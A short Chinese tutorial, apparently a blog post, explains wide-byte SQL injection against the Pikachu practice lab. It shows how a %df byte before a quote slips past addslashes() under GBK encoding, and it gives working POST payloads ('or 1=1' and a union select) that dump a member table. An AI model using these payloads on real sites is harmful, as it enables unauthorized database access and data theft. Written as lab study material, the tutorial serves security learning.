一.宽字节注入原理
请看大佬(或者他也是复制的也说不定)
pikachu sql inject 宽字节注入 - 明月照江江 - 博客园 (cnblogs.com)
以下是摘抄的重点
字符型的注入点我们都是用单引号来判断的,但是当遇到addslashes()时,单引号会被转义成 ’ ,导致我们用来判断注入点的单引号失效。所以我们的目的就是使转义符 \ 失效、使单引号逃逸。
我们的payload的是 %df '
,其原理是当MySQL在使用GBK编码的时候,会认为两个字符是一个繁体汉字,然后让我们的单引号%27
成功逃逸出转义:
' -> \' => %5C%27
%df' -> %d\' => %df%5C%27
二.注入过程
1.构造post内容:
submit=%E6%9F%A5%E8%AF%A2
&name=1%df' or 1=1 #
执行后发现 这个语句爆出了整个member表的内容 那么为什么会这样呢
实际在数据库中执行是这样子
select id,email from member where username='1%df' or 1=1;
再简化一下
select id,email from member where 1=1;
我们都知道1=1表示true,即永真。再简化一下
select id,email from member
2.构造其他语句
因为1=1已经爆出了数据,证明了应当存在 order by 这样的数据库结构 我们这样构造试试
submit=%E6%9F%A5%E8%AF%A2
&name=admin%df' union select 1,2 #
终于回到了我们熟悉的联合查询 接下来的步骤无需多言了 相信到这里大家了然于胸了